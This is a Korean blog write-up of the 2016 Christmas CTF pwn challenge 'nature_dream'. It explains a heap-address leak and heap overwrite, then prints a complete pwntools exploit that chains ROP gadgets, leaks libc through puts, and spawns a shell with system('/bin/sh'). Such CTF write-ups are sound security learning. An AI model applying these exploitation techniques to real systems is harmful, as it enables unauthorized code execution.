2016 크리스마스CTF nature_dream
by St1tch이 문제는 한달 전 크리스마스CTF에 나왔던 문제였다.
당시에 아마 시간이 부족했는지 후반에 문제가 나왔는지 기억은 안나는데, 아마 푼팀이 한팀도 없었던 걸로 기억한다.
킵 해뒀다가 생각나서 풀어보았다.
대략 실행시키면 위와 같이 이름을 쓰게되고 여러가지 기능이 있다.
간단히 설명을 하면 처음에 500원을 주는데 물고기를 마리당 200원에 판다.
물고기를 사서 먹이를 줘서 키운다음에 다시팔면 돈을 벌 수 있다.
이렇게 해서 돈을 9999999보다 많이 벌게 되면
힙영역을 100바이트 overwrite 할 수있는 setBowlName 함수를 실행할 수 있게된다.
여기서 문제는 돈을 9999999만큼 벌려면 물고기를 사서 키우고 팔고를 계속 반복해야하는데
메뉴선택은 100번으로 제한되어 있다.
따라서 다른 방법을 통해 돈을 올려야한다.
생성자부분을 잘 살펴보면 물고기를 17마리를 사면,
17번째 사게되는 물고기에 할당되는 힙주소가 내가가진 돈이 저장되있는 곳을 overwrite한다.
이를통해 heap주소를 leak할 수 있고,
돈이 heap주소가 되기때문에 9999999보다 커져서 Bowl의 이름을 100바이트 overwrite할 수 있게된다.
물고기를 17마리 사려면 적어도 3400원 이상의 돈이 필요하고 일일이 할 수 없기 때문에,
간단한 알고리즘?을 짜서 항상 17마리를 살 수있게 코드를 짠 뒤 분석을 하였다.
Change Fish name함수나 Change Fish ascii함수 내에는
위와 같은 과정을 거쳐서 함수를 실행을 하는 루틴이있다.
여기서 fake Fish 구조체를 하나 만들어서 원하는 함수를 호출할 수 있다.
이제 여기서 부터는 부지런히 ROP페이로드를 짜야한다.
나 같은 경우에는 overwrite하기전에 10번째 물고기의 ascii를 처음에 입력하는 name의 주소 -0x10으로 설정을 했고, (위 과정에서 가젯을 실행시키기위해)
overwrite를 통해 got leak, read함수를 실행시키기 위한 rop payload를 넣었다.
근데 길이제한이 100바이트이기 때문에 name 뒤쪽에도 rop payload를 넣고, 중간에 pop rsp, 가젯을 넣어 이 쪽으로 연결을 시켜주었다.
필요한 가젯이 몇 개 없어서, 문제를 푸는데 좀 까다로웠다.
레지스터를 한개한개 설정을 해서 read함수를 실행시켜야했다.
그리고 read함수를 한번호출해서는 쉘이 따지지않았다.
아마 stdin버퍼가 비워지지 않아서 그런거 같았고, read함수를 두번 호출시키고
두번째 호출때는 pause를 통해, stdin버퍼가 첫번째 read호출 때 덮어씌워지지 않게 하니 쉘이 따졌다.
from pwn import * context.log_level = 'info' def command(token, *args) : s.recvuntil(token) for i in args : i = str(i) s.sendline(i) sleep(0.3) fast = lambda token, *args : command(token, *args) name = lambda name : fast(':', name) buy = lambda : fast('>>>>', 1) sell = lambda : fast('>>>>', 2) show = lambda : fast('>>>>', 6) rich = lambda payload : fast('>>>>', 7, payload) c_name = lambda num, name : fast('>>>>', 8, num, name) c_ascii = lambda num, asc : fast('>>>>', 9, num, asc) def test(): pid = util.proc.pidof(s) log.success('exploitable! {}'.format(pid)) pause() def feed(num): maps = ['No', 'Fully'] for i in range(num): buy() while True: tmp = s.recvuntil('Exit') if any([i in tmp for i in maps]): sell() break s.sendline('3') def solver(): pop_rdi = 0x4030d3 gadget = 0x4030cf #pop rbp, r15, r15; ret gadget2 = 0x4030B0 #__libc_csu_init+64 pop_rbp = 0x4012e0 pop_rdi = 0x4030d3 pop_r13_rbp = 0x403065 pop_rdx_rbp = 0x4017bb pop_rsp_rbp = 0x40240f pop_rsi_r15 = 0x4030d1 pop_r14_r15 = 0x4030d0 pop_r12_rbp = 0x40240e read_plt = 0x4011a8 puts_plt = 0x401188 puts_got = 0x604f10 dummy = 'abcdabcd' #-------------------------------------------------------------- pay = p64(gadget) #set register pay += p64(pop_r13_rbp) pay += p64(0x100) pay += p64(pop_rbp) pay += p64(pop_rdx_rbp) pay += p64(0) pay += dummy #first read pay += p64(gadget2) pay += p64(pop_rdi) pay += p64(0) pay += p64(read_plt) #second read pay += p64(gadget2) pay += p64(pop_rdi) pay += p64(0) pay += p64(read_plt) name(pay) #-------------------------------------------------------------- log.info('Feeding Fish to rich') for i in range(1,4): feed(i) show() money = eval(s.recvuntil('$').split()[-1].strip('$')) if money < 3400: s.close() log.failure('no money.') return False for i in range(17): buy() show() heap = eval(s.recvuntil('$').split()[-1].strip('$')) name_addr = heap - 3056 if heap < 9999999: s.close() log.failure('no heap addr.') return False log.info('heap addr = {}'.format(hex(heap))) log.info('name addr = {}'.format(hex(name_addr))) test() #-------------------------------------------------------------- log.info('overwrite fish name') c_ascii(10, p64(name_addr-0x10)) #-------------------------------------------------------------- log.info('leak, read rop payload2') pay = p64(pop_rdi) pay += p64(puts_got) pay += p64(puts_plt) pay += p64(pop_r14_r15) pay += p64(name_addr) pay += p64(name_addr) pay += p64(pop_r12_rbp) pay += p64(name_addr+24) pay += p64(0) pay += p64(pop_rsp_rbp) pay += p64(name_addr) pay += p64(heap - 832) rich(pay) #-------------------------------------------------------------- log.info('execute rop payloads') s.recvuntil('>>>>') c_name(10, p64(0x402ac9)) #rop payloads execute in this point s.recvuntil('>>>> ') puts_addr = u64(s.recv(6).ljust(8, '\x00')) offset = puts_addr - libc.symbols['puts'] system = offset + libc.symbols['system'] binsh = offset + list(libc.search('/bin/sh'))[0] #-------------------------------------------------------------- log.info('send last payload!') pause() pay = 'X' * 120 pay += p64(pop_rdi) pay += p64(binsh) pay += p64(system) s.send(pay) return True if __name__ == '__main__' : while True: local = True libc = ELF('libc') if local : s = process('./Fish2') else : s = remote('kimtae.xyz', 12345) if solver(): s.interactive() break
블로그의 정보
튜기's blogg(st1tch)
St1tch